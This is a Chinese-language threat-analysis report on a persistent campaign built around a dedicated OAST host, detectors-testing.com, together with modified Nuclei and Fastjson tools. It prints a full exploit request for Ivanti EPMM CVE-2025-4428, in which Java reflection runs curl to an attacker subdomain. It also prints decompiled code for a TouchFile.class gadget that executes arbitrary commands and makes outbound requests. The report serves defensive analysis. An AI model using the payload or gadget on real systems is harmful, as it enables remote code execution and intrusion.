摘要
本報告詳細技術分析了一項複雜且長期運作的攻擊行動,該行動利用一個專用的 Out-of-band Application Security Testing (OAST) 服務。本調查重點在於其技術基礎設施、攻擊 Payload 的組成,以及對如 Nuclei 和 Fastjson 反序列化 gadgets 等公開工具的修改。關鍵發現包括使用客製化 Java class 進行命令與控制 (C2) 以及策略性地在主要雲端平台上部署基礎設施以規避偵測。此分析突顯了 Threat actor 結合現成掃描工具與客製化、持續性 C2 組件的不斷演進的戰術,強調了需要進階的應用程式安全測試方法,例如 應用程式安全測試 (AST) 、 靜態應用程式安全測試 (SAST) 、 動態應用程式安全測試 (DAST) 和 交互式應用程式安全測試 (IAST) ,來對抗此類威脅。
1. 簡介
Out-of-band Application Security Testing (OAST) 服務是現代漏洞研究和攻擊的關鍵組件。它們允許攻擊者確認導致外部網路互動的攻擊是否成功,例如伺服器端請求偽造 (SSRF) 或遠端程式碼執行 (RCE) [1]。雖然許多機會主義的 Threat actor 依賴公共 OAST 服務,但發現一個由攻擊者操作的專用 OAST 主機
i-sh.detectors-testing.com
,標誌著這是一項更具結構性且持續性的攻擊行動 [1]。本報告將剖析該基礎設施的技術組件及相關的攻擊技術。
2. 技術基礎設施與 OAST 機制
該攻擊行動的核心是一個託管在主要雲端服務供應商上的專用 OAST 服務,該服務已被觀察到持續在多個通訊埠 (80, 443 和 389) 上提供 Interactsh 服務 [1]。使用專用、長期存在的 OAST 基礎設施對於大流量、機會主義的掃描來說並不常見,這表明 Threat actor 具備更高層級的操作安全性和資源投入 [1]。選擇主要雲端服務供應商作為託管地點提供了一個顯著優勢,因為源自此類供應商的網路流量較少可能被預設的防禦機制阻擋 [1]。
OAST 服務的主要功能是接收來自受害目標的回呼。一個典型的攻擊 Payload,在本例中針對 Ivanti EPMM 漏洞 (CVE-2025-4428),展示了該機制。該 Payload 在原始 HTTP Request 中是 Base64 編碼的,旨在目標系統上執行一個命令,該命令會發起到 OAST 主機的外部連線。解碼後的 Payload 揭示了在 Java 表達式語言環境下的 RCE 命令注入:
GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com')%7d HTTP/1.1 Host: VC_REDACTED ...
該 Payload 的關鍵部分是 Java 表達式:
''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime'))
.exec('curl d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com')
。這是一個經典的 Java RCE gadget chain,它使用 Reflection 來呼叫
Runtime.getRuntime().exec()
,執行命令
curl d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com
。獨特的子網域 (
d4bqsd6e47mo47d93lpgq55d3j111y6em
) 作為特定攻擊嘗試的唯一識別碼,允許攻擊者將成功的回呼與最初的目標和漏洞建立關聯。
3. 客製化的命令與控制組件
對 OAST 基礎設施的進一步分析揭示了一個開放的目錄,其中託管了一個客製化的 Java class 檔案
TouchFile.class
,它是已知 Fastjson 1.2.47 反序列化攻擊 gadget 的修改版本 [1]。這種客製化是 Threat actor 願意修改和增強公共工具以滿足其特定需求的關鍵指標 [1]。
TouchFile
class 的反編譯結構顯示了超出原始 gadget 簡單檔案創建行為的增強型 C2 能力。
3.1.
TouchFile.class
分析
該 class 利用靜態初始化區塊 (
static {}
) 在 class 載入時執行程式碼,這是 Java 反序列化攻擊中常見的技術。該程式碼首先嘗試從 class 的 codebase URL 中解析查詢參數,特別尋找
cmd
和
http
參數。這個機制允許攻擊者動態控制在受害主機上執行的 Payload。
- public class TouchFile {
- static {
- try {
- // 1. Default command for initial success confirmation
- String defaultCmd = "touch /tmp/success3125";
- List < String > cmds = new ArrayList < > ();
- List < String > urls = new ArrayList < > ();
- // 2. Extract query parameters from the class's codebase URL
- URL codebase = TouchFile.class.getProtectionDomain().getCodeSource().getLocation();
- if (codebase != null) {
- String s = codebase.toString();
- int idx = s.indexOf("?");
- if (idx != -1 && idx < s.length() - 1) {
- Map < String, List < String >> params = new HashMap < > ();
- String query = s.substring(idx + 1);
- // Parameter parsing logic...
- if (params.containsKey("cmd")) {
- cmds.addAll(params.get("cmd")); // Dynamic command execution
- }
- if (params.containsKey("http")) {
- urls.addAll(params.get("http")); // Dynamic HTTP request (OAST/C2)
- }
- }
- }
- // 3. Execute default command if no 'cmd' parameter is provided
- if (cmds.isEmpty()) {
- cmds.add(defaultCmd);
- }
- // 4. Execute all collected commands
- for (String cmd: cmds) {
- Process p = Runtime.getRuntime().exec(cmd.split(" "));
- p.waitFor();
- }
- // 5. Make all collected HTTP requests
- for (String u: urls) {
- HttpURLConnection c = (HttpURLConnection) new URL(u).openConnection();
- c.setRequestMethod("GET");
- c.getResponseCode();
- }
- } catch (Exception e) {
- e.printStackTrace(System.err);
- }
- }
- }
該程式碼的邏輯結構旨在提供一個穩健、多階段的 Payload。如果沒有提供參數,它會預設執行一個簡單的檔案創建 (
touch /tmp/success3125
) 以進行基本的攻擊確認。然而,包含參數解析邏輯允許攻擊者透過
cmd
參數傳遞任意命令,並透過
http
參數觸發額外的外部 HTTP Request。這種設計將一個簡單的概念驗證 (proof-of-concept) 轉變成一個靈活的 C2 工具,能夠執行次要 Payload 或建立持續性的通訊通道。
3.2. 攻擊鏈的架構表示
從最初的掃描到最終 C2 執行的整個攻擊鏈,可以使用狀態圖來視覺化。這突顯了攻擊的多步驟性質,它比典型的單階段攻擊更為複雜。
(Nuclei)"] -->|"Exploit Payload
(CVE-2025-4428)"| B(Vulnerable Target); B -->|RCE Triggered:
curl OAST Subdomain| C{OAST Host:
i-sh.detectors-testing.com}; C -->|Callback Received:
Exploit Confirmed| A; A -->|Second Stage:
Fastjson Deserialization| D(Target Loads
TouchFile.class); D -->|Class Static Initializer
Executes| E{"Check URL Parameters
(cmd/http)"}; E -->|If 'cmd' present| F["Execute Arbitrary Command
(e.g., Reverse Shell)"]; E -->|If 'http' present| G["Make Outbound
HTTP Request
(e.g., New C2)"]; E -->|If neither present| H["Execute Default Command
(touch /tmp/success3125)"]; F -->|C2 Established| A; G -->|New OAST/C2
Callback| A;
圖 1:從初始掃描到客製化 C2 執行的攻擊鏈架構。
4. 工具和操作戰術
Threat actor 的操作戰術特點是商品工具和客製化組件的結合。使用 Nuclei,一個流行的開源漏洞掃描器,為攻擊嘗試提供了一個廣泛的基礎 [1]。觀察到 Threat actor 同時使用當前和過時的 Nuclei 模板,例如已移除的
grafana-file-read.yaml
,表明他們可能擁有非標準或客製化維護的模板集合 [1]。這種做法在尋求維護一套私有、有效攻擊的 Threat actor 中很常見,如同在錯誤懸賞 (bug bounties) 的客製化模板集合環境中討論的那樣。
選擇 OAST 尤其值得注意。OAST 是一種專門形式的應用程式安全測試,專注於 Out-Of-Band Interaction。應用程式安全測試 (AST) 的總體概念對於防禦和攻擊都至關重要,涵蓋了各種方法 [2]:
- 靜態應用程式安全測試 (SAST) :無需執行即可分析原始碼以尋找漏洞 [3]。
- 動態應用程式安全測試 (DAST) :透過模擬攻擊從外部測試正在運行的應用程式 [4]。
- 交互式應用程式安全測試 (IAST) :結合 SAST 和 DAST 的元素,透過在執行期間監控應用程式 [5]。
攻擊者的 OAST 服務實質上充當了一個專業的、客製化的 DAST 組件,用於確認其攻擊嘗試的成功。OAST 主機的長期持續性,可追溯到一年多前,進一步強調了該攻擊行動的結構化性質,與典型機會主義掃描器的快速基礎設施更換形成對比 [1]。
5. 結論
對持續性 OAST 攻擊行動的分析揭示了一個複雜的 Threat actor,他們已經超越了純粹的機會主義掃描。透過建立專用、長期存在的 OAST 基礎設施,並開發客製化的 C2 Payload,例如增強的
TouchFile.class
,該 Threat actor 展示了對持續攻擊的投入。其技術複雜性在於對已知 RCE 技術(Java reflection、Fastjson 反序列化)的修改,以及對雲端基礎設施的策略性利用以實現隱蔽和持續性。本案例研究是一個重要的提醒,即防禦策略必須不斷發展,不僅要偵測初次的攻擊嘗試,還要偵測微妙的、客製化的 C2 組件以及支援基礎設施的長期持續性。